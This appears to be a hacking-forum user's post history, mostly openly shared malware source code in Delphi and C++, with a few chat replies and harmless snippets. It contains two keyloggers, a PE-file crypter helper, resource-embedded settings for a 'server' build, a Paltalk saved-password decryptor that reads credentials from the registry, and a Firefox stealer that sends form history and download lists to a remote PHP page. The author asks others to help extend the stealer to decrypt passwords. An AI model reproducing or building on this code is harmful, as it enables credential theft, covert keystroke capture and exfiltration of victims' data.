-
Posts
107 -
Joined
-
Last visited
-
Days Won
1
Everything posted by Cartman.
-
Simple keylogger using hooking program Project1; // Coded by bb69 {$APPTYPE CONSOLE} uses windows; type tagKBDLLHOOKSTRUCT = packed record // cont?m as informa??es do evento vkCode: DWord; // virtual key (1.254) vk_back,vk_return,etc scanCode: DWord; flags: DWord; time: DWord; dwExtraInfo: PDWord; end; TKBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT; PKBDLLHOOKSTRUCT = ^TKBDLLHOOKSTRUCT; var _hook: HHOOK; // manipulador da hook msg:tmsg; // manipulador para receber as mensagens do Windows function virtualkey(key: word): string; var keyboardState: TKeyboardState; ascii: Integer; begin GetKeyboardState(keyboardState); // pegamos o status das teclas(256) try SetLength(Result,2); ascii := ToAscii(key, MapVirtualKey(key, 0), keyboardState, @result[1], 0) ; setlength(Result,1); // eliminamos os espa?os except result := ''; end; end; function KeyboardHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): longint; stdcall; var p:PKBDLLHOOKSTRUCT; begin p := PKBDLLHOOKSTRUCT(lParam); if wParam = $0100 then begin case p.vkCode of VK_RETURN: writeln(''); // enter end; write(virtualkey(p.vkCode)); end; Result := CallNextHookEx(0,Code,wParam,lParam); end; begin _hook := SetWindowsHookEx(13, KeyboardHook, hInstance, 0); if _hook = 0 then writeln('Erro ao iniciar o hook') else writeln('Iniciado com sucesso'); while getmessage(msg,0,0,0) do begin translatemessage(msg); dispatchmessage(msg); end; end.
-
There are actually a few ways of going about calling your functions dynamically. Let us look at one (needing the usage of Classes.pas - adds extra size to the stub/output) program prjCallFuncDynm; uses Windows, Classes; Type TDCFunction = function: string of object; TDClass = Class (TPersistent) function xMain: string; End; function TDClass.xMain; begin Result := 'Gogaie valorosu?'; end; function xTDC(xTMN:String;xClass:String): string; var m: TMethod; xTClass:TPersistentClass; begin xTClass := GetClass(xClass); m.Code := xTClass.MethodAddress(xTMN); m.Data := pointer(xTClass); Result := TDCFunction(m); end; begin RegisterClasses([TDClass]); MessageBox(0,PWideChar(xTDC('xMain','TDClass')),'OpenSC',0); end. And a different method not using Classes.pas would be as follows: program prjCallFuncDynm; uses Windows; Var pMain:function:String;stdcall; function xMain:string;stdcall; begin Result := 'Gogaie valorosu?'; end; Exports xMain; begin pMain := GetProcAddress(0,'xMain'); MessageBox(0,PWideChar(pMain),'OpenSC',0); end.
-
unit UnitKeyLogger; interface uses Windows,Classes; type TUnicodeKeylogger = class(TThread) private { Private declarations } public FActiveBackSpace:Boolean; FullLogData : String; function IsKeyPressed(KeyCode: Integer): Boolean; procedure AddKey(StrKey: String); protected procedure Execute; override; end; implementation procedure TUnicodeKeylogger.AddKey(StrKey: String); begin FullLogData := FullLogData + StrKey; Write(StrKey); end; function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean; begin result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001; end; procedure TUnicodeKeylogger.Execute; var VirtKey : UINT; ScanCode : UINT; UniEx : Integer; keyboardLayout : HKL; keyboardSpeed : Integer; keyboardState : TKeyboardState; strBuffer : String; UnicodeChar : array[0..1] of WChar; strkeyname : Array[0..32] of Char; dwThread : DWORD; dwProcess : DWORD; dwHandle : HWND; BEGIN Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @UnicodeChar, 2, 0, keyboardLayout); strBuffer := UnicodeChar; SetLength(strBuffer,UniEx); AddKey(strBuffer); END; Sleep(keyboardSpeed DIV 4); END; END; END. program Lib; {$APPTYPE CONSOLE} uses Windows, UnitKeyLogger in 'UnitKeyLogger.pas'; VAR Msg : TMsg; Keylogger:TUnicodeKeylogger ; LangID : Cardinal; begin { TODO -oUser -cConsole Main : Insert code here } LangID:=Windows.GetUserDefaultLangID; Windows.SetThreadLocale(LangID); Keylogger:=TUnicodeKeylogger.Create(False); Keylogger.Resume; While Windows.GetMessage(Msg,0,0,0) Do Begin Windows.TranslateMessage(Msg); Windows.DispatchMessageA(Msg); End; end.
-
uses the message object of CDO, (Collaboration Data Objects). First set up the fields for your SMTP server, then start building your message to send. library Project1; { By bb69 } uses ComObj; function SendMail(_S, _F, _T, _B, _SR,_U,_PW,_A : WideString ;_P:Integer): Boolean; stdcall; const _Cdo='http://schemas.microsoft.com/cdo/configuration/'; var _Message:OleVariant; _Config: OleVariant; begin //_Config Object _Message:= CreateOleObject('CDO.Message'); _Config:= CreateOleObject('CDO.Configuration'); // try _Config.Fields(_Cdo+'sendusername'):= _U; _Config.Fields(_Cdo+'sendpassword'):= _PW; _Config.Fields(_Cdo+'sendusing'):= 2; _Config.Fields(_Cdo+'smtpserver'):= _SR; _Config.Fields(_Cdo+'smtpserverport'):= _P; _Config.Fields(_Cdo+'smtpconnectiontimeout'):= 60; _Config.Fields(_Cdo+'smtpauthenticate'):= 1; // _Config.Fields(_Cdo+'urlgetlatestversion'):= ; _Config.Fields(_Cdo+'smtpusessl'):= True; // use SSL _Config.Fields.Update; _Message.Configuration:= _Config; _Message.To := _T; _Message.From := _F; _Message.Subject := _S; if _A <> '' then _Message.AddAttachment(_A); //_Message.HTMLBody := Body; //to send in Html format // _Message.CreateMHTMLBody('http://www.google.com'); //to send site _Message.TextBody := _B; try _Message.Send; Result:=True; Except// on err:Exception do Result:=False;//err.Message; end; finally VarClear(_Message); VarClear(_Config); end; end; exports SendMail; begin end. usage var Form1: TForm1; function SendMail(_S, _F, _T, _B, _SR,_U,_PW,_A : WideString ;_P:Integer): Boolean; stdcall; external 'Project1.dll'; implementation {$R *.dfm} procedure TForm1.btn1Click(Sender: TObject); begin if SendMail('test _Cdo', 'from@gmail.com', 'to@gmail.com', 'hellllllllllllllllo', 'smtp.gmail.com','user','password','c:\1.txt',465)then ShowMessage('ok'); end;
-
// cart@valoare unit PEFile; interface uses Windows, SysUtils; type TPEFile = class public function Load(szFilePath :String) :bool; function SaveToFile(szFilePath :String) :bool; function GetDosHeader :PImageDosHeader; function GetNtHeaders :PImageNtHeaders; function GetAlignment(addr :cardinal; alignement :cardinal) :cardinal; function RvaToVa(RVA :cardinal) :cardinal; function VaToRva(VA :cardinal) :cardinal; function VirtualReAlloc(pAddr :Pointer; dwOldSize, dwSize:DWORD) :Pointer; function AddSection(szName :String; characteristics :cardinal; info :Pointer; size :cardinal) :PImageSectionHeader; procedure DeleteCharacteristic(characteristics :cardinal); procedure AddCharacteristic(characteristics :cardinal); function GetEntrySection :PImageSectionHeader; procedure XorSection(ISH :PImageSectionHeader; key :integer); procedure DeleteTlsTable; function GetEOF :String; private IDH :PImageDosHeader; INH :PImageNtHeaders; dwFileSize :DWORD; end; implementation type IMAGE_IMPORT_DESCRIPTOR = record OriginalFirstThunk: DWORD; TimeDateStamp: DWORD; ForwarderChain: DWORD; Name1: DWORD; FirstThunk: DWORD; end; function TPEFile.Load(szFilePath :String) :bool; var hFile :THANDLE; pBuffer :Pointer; dwRead :DWORD; begin Result := false; hFile := CreateFile(Pchar(szFilePath), GENERIC_READ, FILE_SHARE_READ, NIL, OPEN_EXISTING, 0, 0); if hFile > 0 then begin dwFileSize := GetFileSize(hFile, NIL); if dwFileSize > 0 then begin pBuffer := VirtualAlloc(NIL, dwFileSize, MEM_COMMIT, PAGE_READWRITE); if pBuffer <> NIL then begin SetFilePointer(hFile, 0, NIL, FILE_BEGIN); ReadFile(hFile, pBuffer^, dwFileSize, dwRead, NIL); IDH := pBuffer; INH := PImageNtHeaders(Integer(IDH) + IDH._lfanew); Result := true; end; end; CloseHandle(hFile); end; end; function TPEFile.SaveToFile(szFilePath :String) :bool; var hFile :THANDLE; dwWrite :DWORD; begin Result := false; hFile := CreateFile(Pchar(szFilePath), GENERIC_WRITE, 0, NIL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if hFile > 0 then begin WriteFile(hFile, IDH^, dwFileSize, dwWrite, NIL); CloseHandle(hFile); Result := true; end; end; function TPEFile.GetDosHeader :PImageDosHeader; begin Result := IDH; end; function TPEFile.GetNtHeaders :PImageNtHeaders; begin Result := INH; end; procedure StrToName(szName :String; var bytes :array of byte); var i :integer; begin for i := 1 to (Length(szName) mod 8) do bytes[i-1] := Byte(szName[i]); end; function NameToStr(bytes :array of byte) :String; var i :integer; begin Result := ''; for i := 0 to 7 do begin if bytes[i] = $0 then break; Result := Result + Char(bytes[i]); end; end; function TPEFile.GetAlignment(addr :cardinal; alignement :cardinal) :cardinal; begin if (addr mod alignement) = 0 then Result := addr else Result := ((addr div alignement) + 1) * alignement; end; function TPEFile.RvaToVa(RVA :cardinal) :cardinal; var ISH :PImageSectionHeader; i :integer; begin ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); for i := 0 to INH.FileHeader.NumberOfSections-1 do begin if (RVA >= ISH.VirtualAddress) and (RVA <= ISH.VirtualAddress + ISH.SizeOfRawData) then break; ISH := PImageSectionHeader(Integer(ISH) + sizeof(TImageSectionHeader)); end; Result := cardinal(IDH) + ISH.PointerToRawData + RVA - ISH.VirtualAddress; end; function TPEFile.VaToRva(VA :cardinal) :cardinal; var ISH :PImageSectionHeader; i :integer; begin VA := VA - cardinal(IDH); ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); for i := 0 to INH.FileHeader.NumberOfSections-1 do begin if (VA >= ISH.PointerToRawData) and (VA <= ISH.PointerToRawData + ISH.SizeOfRawData) then break; ISH := PImageSectionHeader(Integer(ISH) + sizeof(TImageSectionHeader)); end; VA := VA - ISH.PointerToRawData + ISH.VirtualAddress; Result := VA; end; function TPEFile.VirtualReAlloc(pAddr :Pointer; dwOldSize, dwSize:DWORD) :Pointer; var pNewAddr :Pointer; begin pNewAddr := VirtualAlloc(NIL, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE); if pNewAddr <> NIL then begin CopyMemory(pNewAddr, pAddr, dwOldSize); VirtualFree(pAddr, 0, MEM_RELEASE); end; Result := pNewAddr; end; function TPEFile.AddSection(szName :String; characteristics :cardinal; info :Pointer; size :cardinal) :PImageSectionHeader; var oldISH :PImageSectionHeader; ISH :PImageSectionHeader; i :Integer; pSection :Pointer; begin i := INH.FileHeader.NumberOfSections; INH.FileHeader.NumberOfSections := i+1; ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); oldISH := PImageSectionHeader(Integer(ISH) + (i-1)*sizeof(TImageSectionHeader)); ISH := PImageSectionHeader(Integer(ISH) + i*sizeof(TImageSectionHeader)); ISH.VirtualAddress := GetAlignment(oldISH.VirtualAddress + oldISH.Misc.VirtualSize, INH.OptionalHeader.SectionAlignment); ISH.Misc.VirtualSize := size; ISH.SizeOfRawData := GetAlignment(size, INH.OptionalHeader.FileAlignment); ISH.PointerToRawData := GetAlignment(oldISH.PointerToRawData + oldISH.SizeOfRawData, INH.OptionalHeader.FileAlignment); StrToName(szName, ISH.Name); ISH.Characteristics := characteristics; ISH.PointerToRelocations := 0; ISH.PointerToLinenumbers := 0; ISH.NumberOfRelocations := 0; ISH.NumberOfLinenumbers := 0; INH.OptionalHeader.SizeOfImage := GetAlignment(INH.OptionalHeader.SizeOfImage + size, INH.OptionalHeader.SectionAlignment); INH.OptionalHeader.SizeOfHeaders := GetAlignment(INH.OptionalHeader.SizeOfHeaders + sizeof(TImageSectionHeader), INH.OptionalHeader.FileAlignment); // Set the new size IDH := VirtualReAlloc(IDH, dwFileSize, dwFileSize + sizeof(TImageSectionHeader) + ISH.SizeOfRawData); INH := PImageNtHeaders(Integer(IDH) + IDH._lfanew); ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); ISH := PImageSectionHeader(Integer(ISH) + i*sizeof(TImageSectionHeader)); dwFileSize := dwFileSize + ISH.SizeOfRawData; pSection := Pointer(DWORD(IDH) + ISH.PointerToRawData); move(info^, pSection^, size); Result := ISH; end; procedure TPEFile.DeleteCharacteristic(characteristics :cardinal); var ISH :PImageSectionHeader; i :integer; begin ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); for i := 0 to INH.FileHeader.NumberOfSections-1 do begin if (ISH.Characteristics and characteristics) <> 0 then ISH.Characteristics := ISH.Characteristics xor characteristics; ISH := PImageSectionHeader(Integer(ISH) + sizeof(TImageSectionHeader)); end; end; procedure TPEFile.AddCharacteristic(characteristics :cardinal); var ISH :PImageSectionHeader; i :integer; begin ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); for i := 0 to INH.FileHeader.NumberOfSections-1 do begin ISH.Characteristics := ISH.Characteristics or characteristics; ISH := PImageSectionHeader(Integer(ISH) + sizeof(TImageSectionHeader)); end; end; function TPEFile.GetEntrySection :PImageSectionHeader; var ISH :PImageSectionHeader; i :integer; begin ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders)); for i := 0 to INH.FileHeader.NumberOfSections-1 do begin if (INH.OptionalHeader.AddressOfEntryPoint >= ISH.VirtualAddress) and (INH.OptionalHeader.AddressOfEntryPoint <= ISH.VirtualAddress + ISH.Misc.VirtualSize) then break; ISH := PImageSectionHeader(Integer(ISH) + sizeof(TImageSectionHeader)); end; Result := ISH; end; procedure TPEFile.XorSection(ISH :PImageSectionHeader; key :integer); var pBeginSection :PChar; i :integer; begin pBeginSection := PChar(cardinal(IDH) + ISH.PointerToRawData); for i := 0 to ISH.Misc.VirtualSize-1 do pBeginSection[i] := char(integer(pBeginSection[i]) xor key); end; procedure TPEFile.DeleteTlsTable; begin INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress := 0; INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size := 0; end; function TPEFile.GetEOF :String; var peSize :Integer; sizeEOF :Integer; i :Integer; EOF :pChar; ISH :PImageSectionHeader; begin Result := ''; peSize := 0; for i := 0 to INH.FileHeader.NumberOfSections-1 do begin ISH := PImageSectionHeader(Integer(INH) + sizeof(TImageNtHeaders) + i*sizeof(TImageSectionHeader)); peSize := peSize + ISH.SizeOfRawData; end; sizeEOF := dwFileSize - INH.OptionalHeader.SizeOfHeaders - peSize; if sizeEOF > 0 then begin EOF := pChar(DWORD(IDH) + INH.OptionalHeader.SizeOfHeaders + peSize); for i := 0 to sizeEOF-1 do Result := Result + EOF[i]; end; end; end.
-
This function zero's dwLen starting at pPointer. This is used as replacement for API versions in my shellcode projects. Procedure ZeroMem(pPointer : Pointer; dwLen : DWORD);stdcall; //Zeroes Pointer -> Pointer+dwLen var i : DWORD; begin for i := 0 to dwLen -1 do begin pByte(tHandle(pPointer)+i)^ := 0; end; end; and ASM : ZeroMemoryASM procedure ZeroMemoryASM(where : pointer; size : cardinal); begin ASM PUSH EAX PUSH EBX PUSH ECX NOP MOV EAX,where XOR EBX,EBX MOV ECX,size @loopzy NOP POP ECX POP EBX POP EAX END; end;
-
by madRes this guy will write some strings in EXE file 1) parameter: server fullpath 2) strings to write procedure WriteSettings(ServerFile: string; Settings: string); var ResourceHandle: THandle; pwServerFile: PWideChar; begin GetMem(pwServerFile, (Length(ServerFile) + 1) * 2); try StringToWideChar(ServerFile, pwServerFile, Length(ServerFile) * 2); ResourceHandle := BeginUpdateResourceW(pwServerFile, False); UpdateResourceW(ResourceHandle, MakeIntResourceW(10), 'SETTINGS', 0, @settings[1], Length(Settings) + 1); EndUpdateResourceW(ResourceHandle, False); finally FreeMem(pwServerFile); end; end; ------------------------------------------------ this guy will read written data from modified exe file 1) parameter: server's fullpath function ReadSettings(ServerFile: string): string; var ServerModule: HMODULE; ResourceLocation: HRSRC; ResourceSize: dword; ResourceHandle: THandle; ResourcePointer: pointer; begin ServerModule := LoadLibrary(pchar(ServerFile)); try ResourceLocation := FindResource(ServerModule, 'SETTINGS', RT_RCDATA); ResourceSize := SizeofResource(ServerModule, ResourceLocation); ResourceHandle := LoadResource(ServerModule, ResourceLocation); ResourcePointer := LockResource(ResourceHandle); if ResourcePointer <> nil then begin SetLength(Result, ResourceSize - 1); CopyMemory(@Result[1], ResourcePointer, ResourceSize); FreeResource(ResourceHandle); end; finally FreeLibrary(ServerModule); end; end; usage of functions in editor var Settings: string; begin Settings := 'here String to write'; WriteSettings('here server.exe path', Settings); WriteLn(ReadSettings('server.exe')); // <--- this guy will read written data from server.exe end. --------------------------------------------------- now code server this guy will load written data function LoadSettings: string; var ResourceLocation: HRSRC; ResourceSize: dword; ResourceHandle: THandle; ResourcePointer: pointer; begin ResourceLocation := FindResource(hInstance, 'SETTINGS', RT_RCDATA); ResourceSize := SizeofResource(hInstance, ResourceLocation); ResourceHandle := LoadResource(hInstance, ResourceLocation); ResourcePointer := LockResource(ResourceHandle); if ResourcePointer <> nil then begin SetLength(Result, ResourceSize - 1); CopyMemory(@Result[1], ResourcePointer, ResourceSize); FreeResource(ResourceHandle); end; end; usage of this function in server PROCEDURE somefuckedupproc (yowazzup; RockMeBaby) var buffer : string; begin buffer := LoadSettings; end.
-
Aici se afla o functie si Cum sa decryptezi Paltalk Passwords.. Function Decrypt(sNickName, sHwID, sCrypted: String): String; var aOutPut : array of string; iLen, i : Integer; sTemp, sFinal : String; const iOffset = 122; begin Result:= ''; iLen:= length(sCrypted); If (iLen mod 4) <> 0 then begin Result:= 'incorrect encrypted password'; exit; end; for i:= 0 to 7 do begin sTemp:= sTemp + sNickName[(i mod length(sNickName))+ 1] + sHwID[(i mod length(sHwID))+ 1] end; Setlength(aOutPut, (iLen div 4)); If Length(sHwID) >= Length(sNickName) then sTemp:= sHwID[Length(sHwID)] + sTemp else sTemp:= sNickName[Length(sNickName)] + sTemp; for i:= 0 to pred(Length(aOutPut)) do begin aOutPut[i]:= Copy(sCrypted,1,3); sFinal:= sFinal + Chr((strtoint(aOutPut[i]) - ord(sTemp[i+1])) - i - iOffset); Delete(sCrypted,1,4); end; aOutPut:= Nil; Result:= sFinal; end; function FindNickPass(const sNickname: String): String; begin with TRegistry.Create do try RootKey := HKEY_CURRENT_USER; if OpenKey('\Software\Paltalk\' + sNickname, False) then begin Result:= (ReadString('pwd')); CloseKey; end; finally Free; end; end; function FindVolumeSerial(const Drive : PChar) : string; var VolumeSerialNumber : DWORD; MaximumComponentLength : DWORD; FileSystemFlags : DWORD; begin Result:=''; GetVolumeInformation(Drive, nil, 0, @volumeSerialNumber, MaximumComponentLength, FileSystemFlags, nil, 0) ; Result := Format('%8.8X',[VolumeSerialNumber]); end; Am adaugat asta //by cart Function GetPaltalkPW():TStringList; var Reg:TRegistry; SL:TStringList; i:Integer; Encrypted:String; begin Reg:=TRegistry.Create; SL:=TStringList.Create; Result:=TstringList.Create; Reg.RootKey:=HKEY_CURRENT_USER; if Reg.OpenKey('\Software\Paltalk\',false) then begin Reg.GetKeyNames(SL); if SL.Count>0 then begin for i:=0 To SL.Count-1 do begin Result.Add(SL.Strings[i]); Reg.CloseKey; Reg.OpenKey('\Software\Paltalk\',false); if Reg.OpenKey(SL.Strings[i],false) then begin Encrypted:=Reg.ReadString('pwd'); if Encrypted<>'' then Result.Add(Decrypt(SL.Strings[i], trim(FindVolumeSerial(PAnsiChar(getdrive()))),FindNickPass(SL.Strings[i]))) else Result.Add('Registry Fail'); end; end; end else Result.Add('Paltalk Accounts error!'); end else Result.Add('Paltalk not found!'); SL.Free; Reg.Free; end; Si asta //by cart function getdrive(): string; var InstallerAppDir:string; begin with TRegistry.Create do try RootKey := HKEY_CURRENT_USER; if OpenKey('\Software\Paltalk\', False) then begin InstallerAppDir:= (ReadString('InstallerAppDir')); CloseKey; end; finally Free; end; Result:=Copy(InstallerAppDir,0,3); end;
-
Cartus imprimanta cannonla 9,99 cumparat ce preturi mici... thanks for share
-
Inca un copil ce vrea sa ,,fure si sa insele'' da altceva nu sunteti in stare ? Cum a spus si @Rubaka apucate de programare sau orice altceva LEGAL.
-
@.Breaker termina in ...... cu spamul copile . De ce judeci tu omul? Cine te crezi tu , gura mica si la culcare nu va mai luati de om aiurea De ce nu te-ai luat de el pana sa ia ban , toti prindeti tupeu dupa ce se ''termina totul,,.
-
Cum am spus si in topicul anterion nu imi e drag @paxnWo cat a fost aici l-ati pupat toti cum a plecat cum hai sa il injuram ca e un fraier , uitati-va la voi si dupa criticati.
-
Frumos video si totusi amuzant Cum dorm aia la prezentarea tipului )
-
What the hell is that you somehow troll?
-
1.c 2.b 3.b Totusi este cam stupid acest post chiar crezi ca cineva ti-ar da detalii despre cum si cat castiga pe net eu nu cred...
-
Frumos site , se misca rapid tema e oke ( 9+) putine filme dar oke. Bafta cu site-ul
-
Daca inveti va fi usor oricum bafta la bac tuturor
-
BlackHole Exploit kit 2*
Cartman. replied to Cartman.'s topic in Reverse engineering & exploit development
@alexvenutelli ti-am zis si in privat ca este asemanator ... dupa ce ti-am raspuns chiar era nevoie sa postezi iar? -
With this iOS SDK code snippet, you will learn how to cause the iPhone to vibrate with the AudioToolbox framework and a single line of code. Creating a vibration is simple as pie - simpler in fact. It just requires one line of code; two if you add the import line. But as simple as a one-liner is it is better to make it into a function. So here is the one liner, followed by the function. Cheers / NOTE: You need to import the AudioToolbox for access to the vibrate #import <AudioToolbox/AudioToolbox.h> * // The one-liner: AudioServicesPlaySystemSound (kSystemSoundID_Vibrate); * // The function: - (void)vibrate { AudioServicesPlaySystemSound (kSystemSoundID_Vibrate); } * // The call from within another method in the same class: - (void)myMethod { [self vibrate]; }
-
This is a simple perl script that will make several copies of a file and put it into a directory of your choosing. This will only work on a *NIX system for now. I am currently planning a Win version. I am not a professional coder so my code may not be as elegant as it could be. Save the code to your *NIX system and name it what ever you like, just be sure to add '.pl ' as the extension. Go to the directory you saved it in and open a terminal and type: perl -w filename. Just follow the directions and your good to go. I've tested it and it works for copying most file types, including image files. Your millage may vary. I've commented the code pretty well so it's easy to figure out. I've used system(ls-xxx) for listing files as it tells you who owns the file and lists the files permissions as this only works for *NIX this script won't run on Windows. But that should be easy to change. If you want to change the code to suite your needs be my guest, I only ask you post any changes you made as I'm interested in learning different and better ways of doing things. #!/usr/bin/perl use 5.006; use strict; use warnings; use Cwd; #Variables my @stars\n"; #End Banner #Declare source dir function sub source_dir{rr print("Type a directory path for the source file:\n"); $sd=<STDIN>; chomp $sd; #Check if directory path is correct if (opendir(SD, $sd)) { #If path is correct then procede chdir $sd; system("ls -l --group-directories-first"); #Use system call 'ls' to list files,*nix only print "You are now in directory:", cwd, "\n"; print (" \nPlease type a source file name from the above list: \n"); $sf=<STDIN>; #User inputs file to copy chomp($sf) #Remove \n character } else { #If path is not correct print error messg and re-start function print("No such directory, please check the path and try again\n"); source_dir(); } #Check if file name is correct if (open(SF, $sf)) { #If file name is correct then procede to copy print ("How many copies would like to make?\n"); $nc=<STDIN>; #User inputs # of copies to make } else { #If file name is not correct then... print("Cannot find file, please check file name and re-submitt\n"); source_dir(); # Re-run function to get file name } } #end function #Declare destination dir function sub des_dir{ print("Type a directory path to save the copies to:\n");# Input diretory path you want to save the copies to $dd=<STDIN>; chomp $dd; if (opendir(DD, $dd)){ print "Your files have been saved to directory:", $dd, "\n"; } else { print("No such directory, please re-start and try again\n");#Re-run function if path is incorrect des_dir();; } } #End function #Run functions source_dir(); des_dir(); #Initiate count for loop $count=0; #Magic happens here in a 'while loop' while ($count < $nc){ chdir $sd; #Change directory to soucre dir in order to read file for copying open SF, $sf; chdir $dd; #Chage directory to destination folder in order to send copied files open (DF,">$sf($count)");#Opens Destination File Handler to write to new file and use the current value of '$count' to add to file name print (DF <SF>); #Copies Source file to Destination file $count++; } #End loop chdir $dd; #Change dir to display new files system("ls -l --group-directories-first"); print "\nSuccess!\n"; print "Check above list for your files, they will be listed as 'filename.ext(x)'\n"; #Close File and Dir handlers closedir(DD); closedir(SD); close(SD); close(SF);
-
Here is my mozilla firefox stealer, it steals download lists and form history. It can easly be extended and used to steal other datas from a mozilla firefox. I used sqlite and used a sqlite.lib file which i compiled. I used web based communication. I generally used WinApi functions. Datas are sent to a php file and be logged in a server. Please don't forget to give permissions Thanks JeFF for his help about widestring and ansi-string help. Thanks frankl3fr6nk for kind beta testing Thanks icarus for his helps to me about learning malware fundamentals We can develop this stealer together with peoples who have knowledge about these. For instance - my first question is how to decrypt to encrypted password - How to do this code more compatible with other operating systems - How to reduce the size I attached sqlite3.h and sqlite3.c and sqlite.lib config.h #define HOST "www.xxx.com" // Do not change its format.. #define PORT 80 #define PAGE_NAME "stealer.php" // Do not change its format.. functions.h #include <Windows.h> #include <WinInet.h> #include "config.h" void Request (const char* server,const char* input); char* getComputerName(); getFormHistory.h #include "config.h" #include "sqlite3.h" void getFormHistory(char* path); getDownloads.h #include "config.h" #include "sqlite3.h" void getDownloads(char *path); functions.cpp #include "functions.h" void Request (const char* server,const char* input) { HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; hInternet = InternetOpenA("Open",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,INTERNET_FLAG_DONT_CACHE); if (hInternet != NULL) { hConnect = InternetConnectA(hInternet,server,PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,1u); if (hConnect != NULL) { hRequest = HttpOpenRequestA(hConnect,"GET",input,NULL,NULL,0,INTERNET_FLAG_KEEP_CONNECTION,1); if (hRequest != NULL) { HttpSendRequestA(hRequest,"Content-Type: application/x-www-form-urlencoded\r\n",-1L,NULL,0); } } } InternetCloseHandle(hInternet); InternetCloseHandle(hConnect); InternetCloseHandle(hRequest); } char* getComputerName() { DWORD computerNameSize = 512; char* computerName; computerName = (char*)malloc(512*sizeof(char)); GetComputerNameA(computerName, &computerNameSize); DWORD UserNameSize = 512; char* userName; userName = (char*)malloc(512*sizeof(char)); GetUserNameA(userName, &UserNameSize); char* fullComputerName = (char*)malloc(1024*sizeof(char)); ZeroMemory(fullComputerName,1024*sizeof(char)); strcat(fullComputerName,(const char*)computerName); strcat(fullComputerName,userName); return fullComputerName; } getFormHistory.cpp #include "getFormHistory.h" #include "functions.h" void getFormHistory(char* path) { char *zErrMsg = 0; int error; sqlite3_stmt *res; const char *tail; char *formhistory; char* pathCopy; pathCopy = (char*)malloc(256*sizeof(char)); ZeroMemory(pathCopy,256*sizeof(char)); strcpy(pathCopy,path); strcat(pathCopy,"\\formhistory.sqlite"); pathCopy[strlen(pathCopy)-(strlen("Default=1")+4)+strlen("\\fomrhistory.sqlite")+1] = '\00'; sqlite3 *db; // sqlite3 db struct error = sqlite3_open(pathCopy, &db); if(!error) { formhistory = (char*)malloc(429496729); ZeroMemory(formhistory,429496729); sqlite3_prepare_v2(db,"select * from moz_formhistory",1000,&res,&tail); if (error == SQLITE_OK) { while (sqlite3_step(res) == SQLITE_ROW) { if(strlen(formhistory) > 6000) break; strcat(formhistory,(char*)sqlite3_column_text(res, 1)); strcat(formhistory,"--"); strcat(formhistory,(char*)sqlite3_column_text(res, 2)); strcat(formhistory,"*-*-*"); } } } sqlite3_close(db); char* computerName; computerName = (char*)malloc(1024*sizeof(char)); ZeroMemory(computerName,1024*sizeof(char)); computerName = getComputerName(); char *data; data = (char*)malloc(429496729*sizeof(char)); ZeroMemory(data,429496729*sizeof(char)); strcpy(data,PAGE_NAME); strcat(data,"?computerName="); strcat(data,computerName); strcat(data,"-formhistory"); strcat(data,"&formhistory="); strcat(data,formhistory); Request(HOST,data); free(computerName); free(formhistory); } getDownlaods.cpp #include "getDownloads.h" #include "functions.h" void getDownloads(char *path) { char *zErrMsg = 0; int error; sqlite3_stmt *res; const char *tail; char *downloads; char* pathCopy; pathCopy = (char*)malloc(256*sizeof(char)); ZeroMemory(pathCopy,256*sizeof(char)); strcpy(pathCopy,path); strcat(pathCopy,"\\downloads.sqlite"); pathCopy[strlen(pathCopy)-(strlen("Default=1")+4)+strlen("\\downloads.sqlite")+1] = '\00'; sqlite3 *db; // sqlite3 db struct error = sqlite3_open(pathCopy, &db); if(!error) { downloads = (char*)malloc(429496729); ZeroMemory(downloads,429496729); sqlite3_prepare_v2(db,"select * from moz_downloads",1000,&res,&tail); if (error == SQLITE_OK) { while (sqlite3_step(res) == SQLITE_ROW) { strcat(downloads,(char*)sqlite3_column_text(res, 1)); strcat(downloads,"*-*-*"); } } } sqlite3_close(db); char* computerName; computerName = (char*)malloc(1024*sizeof(char)); ZeroMemory(computerName,1024*sizeof(char)); computerName = getComputerName(); char *data; data = (char*)malloc(429496729*sizeof(char)); ZeroMemory(data,429496729*sizeof(char)); strcpy(data,PAGE_NAME); strcat(data,"?computerName="); strcat(data,computerName); strcat(data,"-downloads"); strcat(data,"&downloads="); strcat(data,downloads); Request(HOST,data); free(computerName); free(downloads); } main.cpp #include <windows.h> #include "getFormHistory.h" #include "getDownloads.h" // Thanks to LeFF from opensc.ws int main() { HANDLE hFile; DWORD dwBytesRead = 0; char ReadBuffer[513] = {0}; char* appDataStr = (char*)malloc(256*sizeof(char)); int strSize = ExpandEnvironmentStringsA("%APPDATA%",appDataStr, 256 ); char* iniFile; iniFile = (char*)malloc(512*sizeof(char*)); ZeroMemory(iniFile,512); strcat((char*)appDataStr,"\\Mozilla\\Firefox\\profiles.ini"); strcat((char*)iniFile,(char*)appDataStr); hFile = CreateFileA(iniFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if (hFile != INVALID_HANDLE_VALUE) { ReadFile(hFile, ReadBuffer, 512, &dwBytesRead, NULL); } CloseHandle(hFile); char *pathStart; ReadBuffer[dwBytesRead] = '\00'; pathStart = strstr(ReadBuffer,"Path="); pathStart = pathStart + 5*sizeof(char); int size = strlen(pathStart)-(strlen("Default=1")+4); char *realPath; realPath = (char*)malloc(256*sizeof(char)); ZeroMemory(realPath,256*sizeof(char)); strncat(realPath,pathStart,size-2); // 4 for \t\n and \t\n getDownloads(realPath); // Get downloads getFormHistory(realPath); // 